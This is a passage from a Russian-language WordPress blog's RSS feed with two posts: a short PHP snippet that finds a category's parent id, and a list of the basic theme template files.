		<link>http://saintist.ru/2010/01/30/wordpress-poluchenie-id-roditelskoj-rubriki/</link>
		<comments>http://saintist.ru/2010/01/30/wordpress-poluchenie-id-roditelskoj-rubriki/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 11:55:24 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wordpress castom]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=992</guid>
		<description><![CDATA[Начал   работать с WordPress. Искал решение для вполне тривиальной задачи -Как определить id родительской категории в wordpress. Понадобилось для кастомизации темы wordpress. Стандартной функции  не нашел, может плохо искал. Простое и элегантное решение. if( is_category() ) { $cat = get_category(get_query_var('cat'),false); $parrentCategoryId=$cat->category_parent; } Объяснения излишни )]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="/wp-content/uploads/2010/01/wordpress_normal.jpg"><img class="size-medium wp-image-993 aligncenter" title="wordpress category id" src="/wp-content/uploads/2010/01/wordpress_normal-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>Начал   работать с WordPress.</p>
<p>Искал решение для вполне тривиальной задачи -<strong>Как определить id родительской категории в wordpress</strong>. Понадобилось для  кастомизации темы wordpress.</p>
<p>Стандартной функции  не нашел, может плохо искал.</p>
<p>Простое и элегантное решение.</p>
<p><span id="more-992"></span></p>
<pre>

if( is_category() ) {
$cat = get_category(get_query_var('cat'),false);
$parrentCategoryId=$cat->category_parent;
}
</pre>
<p>Объяснения излишни )</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/01/30/wordpress-poluchenie-id-roditelskoj-rubriki/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Базовая структура шаблона (themes)  WordPress</title>
		<link>http://saintist.ru/2009/07/27/bazovaya-struktura-shablona-themes-wordpress/</link>
		<comments>http://saintist.ru/2009/07/27/bazovaya-struktura-shablona-themes-wordpress/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 18:33:38 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[themes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=665</guid>
		<description><![CDATA[Из чего же из чего-же из чего-же, сделаны наши мальчишки? Все тривиально. Основные файлы шаблонов (themes) WordPress. style.css &#8212; стили шаблона index.php &#8212; главная страница шаблона single.php &#8212; вывод одиночной записи archive.php &#8212; вывод списка записей по заданному критерию, критерием может быть категория или временная метка searchform.php &#8212; код формы поиска search.php &#8212; страница вывода [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">Из чего же из чего-же из  чего-же, сделаны наши мальчишки?<br />
<a href="http://saintist.ru/wp-content/uploads/2009/07/wordpress.jpg"><img class="size-medium wp-image-666 aligncenter" title="wordpress" src="http://saintist.ru/wp-content/uploads/2009/07/wordpress-300x200.jpg" alt="wordpress" width="300" height="200" /></a></p>
<p><span id="more-665"></span></p>
<p>Все тривиально.</p>
<p>Основные файлы шаблонов (themes) WordPress.</p>
<p><strong>style.css</strong> &#8212; стили шаблона</p>
<p><strong>index.php </strong> &#8212; главная страница шаблона</p>
<p><strong>single.php</strong> &#8212; вывод одиночной записи</p>
<p><strong>archive.php</strong> &#8212; вывод  списка записей по заданному критерию, критерием может быть  категория или временная метка</p>
<p><strong>searchform.php </strong> &#8212;  код  формы поиска</p>
<p><strong>search.php</strong> &#8212;  страница вывода результатов поиска<br />
<strong>404.php</strong> &#8212; заглушка на случай не найденной страницы</p>
<p><strong>comments.php</strong> &#8212; шаблон комментариев</p>
<p><strong>footer.php</strong> &#8212; подвал (футер) шаблона</p>
<p><strong>header.php</strong> &#8212;  шапка (хедер) шаблона</p>
<p><strong>sidebar.php </strong> &#8212; боковой блок (меню)</p>
<p><strong>page.php</strong> &#8212;  вывод одиночной страницы</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/07/27/bazovaya-struktura-shablona-themes-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk: basic
Database Caching 6/17 queries in 0.006 seconds using disk: basic

Served from: saintist.ru @ 2012-05-22 20:39:21 -->
